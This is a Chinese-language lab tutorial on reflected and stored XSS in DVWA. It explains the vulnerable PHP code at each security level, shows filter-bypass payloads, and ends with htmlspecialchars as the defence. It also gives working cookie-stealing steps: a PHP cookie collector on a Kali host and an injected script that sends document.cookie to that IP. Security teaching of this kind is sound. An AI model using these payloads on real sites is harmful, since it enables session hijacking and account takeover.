目錄
XSS(跨站腳本攻擊)
項目實驗環境
Metasploitable2-Linux 靶場
OWASP Broken Web Apps VM v1.2 靶場
Kali-Linux-2020.1-vmware-amd64 攻擊機
1.XSS簡介
跨站腳本( cross site script )爲了避免與樣式css(Cascading Style Sheets層疊樣式表)混淆,所以簡稱爲XSS。
XSS是一種經常出現在web應用中的計算機安全漏洞 ,也是web中最主流的攻擊方式。
1.1什麼是XSS?
XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去。使別的用戶訪問都會執行相應的嵌入代碼。
從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
XSS主要原因:
過於信任客戶端提交的數據!
1.2 XSS攻擊的危害包括:
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號,各類管理員帳號
2、控制企業數據,包括讀取、篡改,添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
2. 分類
2.1反射型
反射型xss攻擊( Reflected XSS)又稱爲非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞產生的原因是攻
擊者注入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接( 即每次攻擊需要用戶的點擊)。
2.2存儲型
存儲型XSS (Stored XSS)又稱爲持久型跨站點腳本,它一般發生在XSS攻擊向量 (一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久的XSS相比非持久性XSS攻擊危害性更大,因爲每當用戶打開頁面,查看內容時腳本將自動執行。谷歌的orkut 曾經就遭受到XSS。
兩種類型實現的結果完全相同,不同的是前者需要點擊,後者存在於網頁的數據庫內
3. 構造XSS腳本
3.1常用HTML標籤
<iframe> 創建包含另一個文檔的內聯框架
<textarea> 這個標籤定義多行的文本輸入控件
<img> 向網頁中嵌入一副圖像
<scirpt> 這個標籤用於定義客戶端腳本,比如JavaScript 這個標籤既可以包含腳本語句,也可以通過src屬性指向外部的腳本文件。必須的type屬性規定腳本的MIME類型 JavaScript 的常見應用是圖像操作、表單驗證及動態內容更新。
3.2常用javascript方法
alert alert()方法用於顯示帶有一條指定消息和一個確認按鈕的警告框
window.location window.location對象用於獲得當前頁面的地址(URL) ,並把瀏覽器重定向到新的頁面
location.href 返回當前顯示的文檔的完整URL
onload 一張頁面或一幅圖像完成加載
onsubmit 確認按鈕被點擊
onerror 在加載文檔或圖像時發生錯誤
4.反射型(四種安全級別演示)
4.4.1低安全級別
查看網頁的後端代碼,只要輸入的字符不是空字符、NULL,那就直接打印Hello加輸入的內容
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
測試一下
測試是否可以XSS攻擊(注意這步及其關鍵,無論是反射型還是存儲型都要先進性XSS的測試)
在輸入框輸入<script>alert('XSS')</script>,彈出窗口,可見存在XSS漏洞
那麼,接下來就肆意妄爲的爆破吧,首先拿到此頁面的cookie,這裏注意一下,攻擊者直接通過一些方式(社會工學)讓受害者點擊一個鏈接,這個鏈接就會拿到受害者在這個頁面的cookie,下圖拿到的cookie只是簡單的測試一下XSS的漏洞威脅
獲取當前頁面的cookie
<script>alert(document.cookie)</script>
security=low;PHPSESSID=49acb6ca0a588a3176e77b602a36fce3
將拿到的這個cookie就可以以這個用戶的名義去登錄網頁
測試:
換一個瀏覽器 使用獲得的cookie去登錄,可見無需用戶名與密碼,直接登錄上來了
4.4.2 中安全級別
這次先不去直接查看後端的代碼,正常情況下是不能看到後端代碼的(廢話),這時候就要發揮想象力了,如果你覺得有些費力,且不妨看看我是怎麼思考的
分析:
首先,還是先測試一下這個網頁有沒有XSS漏洞,此時並沒有彈窗,下面的輸出是<script>中的內容,可以初步推斷出來,後端可能把<script>給“過濾“了,再次測試,發現確實是這樣
解決:
在SQL注入中,對於被過濾的關鍵詞可以採用以下這幾種方法,這裏相同
- 大小寫
- 轉義
- 內嵌
- 替換
大小寫,可見更改大小寫後<script>中的內容被執行了
<Script>alert('XSS')</Script>
內嵌
<sc<script>ript>alert('xss')</script>
替換,即使用其他標籤來替換<script>標籤
<img src="#" οnerrοr=alert('XSS')>
現在來查看以下後臺的代碼,可以看到其確實是把<script>標籤替換成了空字符
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
4.4.2 高安全級別
來到高安全級別後,首先不要慌,他無非就是對某些字符做了一些更強的過濾而已,找對方法,還是可以實施攻擊的,永遠牢記,沒有絕對的安全
如下可見,對於大小寫,內嵌都不能進行XSS的注入,但是替換標籤就可以了,是不是很簡單~
此時,查看網頁的後臺代碼,可見確實採用的是更強的字符過濾,但是對於替換他並沒有設計,讓我們看看impossibl難度下會不會對替換也做出過濾
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
4.4.2 不可能安全級別
到這裏,不多bb,直接替換,可見,無論輸入的是什麼都被當做成了字符串輸出了,並沒有執行標籤的內容
查看後臺代碼可以看出,使用了php htmlspecialchars()函數
在php中,htmlspecialchars()函數是使用來把一些預定義的字符轉換爲HTML實體,返回轉換後的新字符串,原字符串不變。如果 string 包含無效的編碼,則返回一個空的字符串,除非設置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 標誌;
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
說明:XSS攻擊的核心就是靠HTML<script>標籤或元素屬性來執行Javascript腳本。
而 htmlspecialchars 則可以轉轉義 <> 這樣就無法通過script標籤攻擊。同時又可以過濾掉雙引號,單引號(需要另外加個參數),阻止靠元素屬性來觸發事件執行腳本
參數解釋
$str = htmlspecialchars(string,flags,character-set,double_encode);
參數說明
string:規定要轉換的字符串
flags :可選參數,規定如何處理引號、無效的編碼以及使用哪種文檔類型
可用的引號類型:
ENT_COMPAT:默認。僅編碼雙引號。ENT_QUOTES:編碼雙引號和單引號。ENT_NOQUOTES:不編碼任何引號。
無效的編碼:
ENT_IGNORE:忽略無效的編碼,而不是讓函數返回一個空的字符串。應儘量避免,因爲這可能對安全性有影響。
ENT_SUBSTITUTE: 把無效的編碼替代成一個指定的帶有 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD; 的字符,而不是返回一個空的字符串
ENT_DISALLOWED: 把指定文檔類型中的無效代碼點替代成 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD;。
5.存儲型(四種安全級別演示)
以下采用靶場時OWASP 攻擊機是Kali
分析:
存儲型的XSS漏洞威脅更大,即不需要用戶做出點擊鏈接的動作,直接寫死在數據庫內,當用戶進入含有存儲型XSS漏洞的頁面時,根據攻擊者制定的策略,來截獲受害者的個人信息
5.1低安全級別
攻擊者登錄到這個頁面後,在類似於留言板的地方,注入XSS攻擊代碼,這樣所有的其他用戶只要點擊到這個位置就會執行XSS的代碼
使用另一個瀏覽器登錄user用戶,一旦點擊到XSS stored後,就會彈出窗口,這樣的攻擊方式,簡單高效,不必通過一些社工誘導用戶點擊某個鏈接,而是直接中招
下面將通過注入XSS漏洞獲取受害主機的cookie,並將其發送到一個主機上(Kali)
詳細步驟:
1.構建收集cookie服務器 這裏使用的是KALI
2.構造XSS代碼並植入到Web服務器
3.等待肉雞觸發XSS代碼,其cookie就會被髮送到Kali
4.Cookie利用 根據sqlmap來爆庫,表,數據等
詳細演示:
第一步:在 KALI打開 http服務,創建用於存放cookie的文件
root@kali:~# systemctl start apache2
root@kali:~# vim /var/www/html/cookie.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","w");
fwrite($log,$cookie."\n");
fclose($log);
?>
第二步:在頁面內注入XSS的存儲型漏洞
<script>window.open('http://192.168.211.130/cookie.php?cookie='+document.cookie)</script>
注:192.168.211.130爲kali的IP
先清除之前植入的XSS代碼
這裏由於前端的頁面對輸入框有字數限制,這裏先改大一些
一旦注入,就會跳轉至Kali的cookie.php頁面用於收集用戶的cookie值
第三步:肉雞點擊被植入了XSS代碼的頁面就將自己的cookie提交給了KALI,注意,對於彈出的窗口,要允許其彈出,要不然不會提交自己的cookie
一旦允許,就會將自己的cookie上傳給Kali的/var/www/html/cookie.txt內
此時 ,KALI就會生成一個存儲cookie的文件,其內容存儲的就是user用戶的本地cookie
驗證,可見與Kali獲取的cookie是一致的
然後呢,你都拿到cookie了,接下來就肆意妄爲吧
查看低安全級別的後臺代碼
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
可見,使用POST提交了name與message,然後對dvwa庫的guesbook表進行插入數據,從這裏可以看出,確實是寫死在了數據庫中,更能理解XSS的存儲型漏洞的詳細了。在這個安全級別下無任何的防禦措施,任人注入漏別
登錄到後臺的數據庫中驗證,可見,與預期相符
5.2 中安全級別
直接使用最簡單的彈窗類進行測試,可見其是將<script>標籤給過濾了,解決辦法與XSS的反射型的安全級別一致,大小寫或替換,或內嵌都是可以的
測試發現,大小寫,內嵌、替換都沒有用,其實後臺是將<>給轉義了,這樣無論使用<script>還是<img>標籤都沒有用
查看頁面後臺代碼
<?php
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
查看頁面的後臺數據庫,可見確實是對<>做了轉換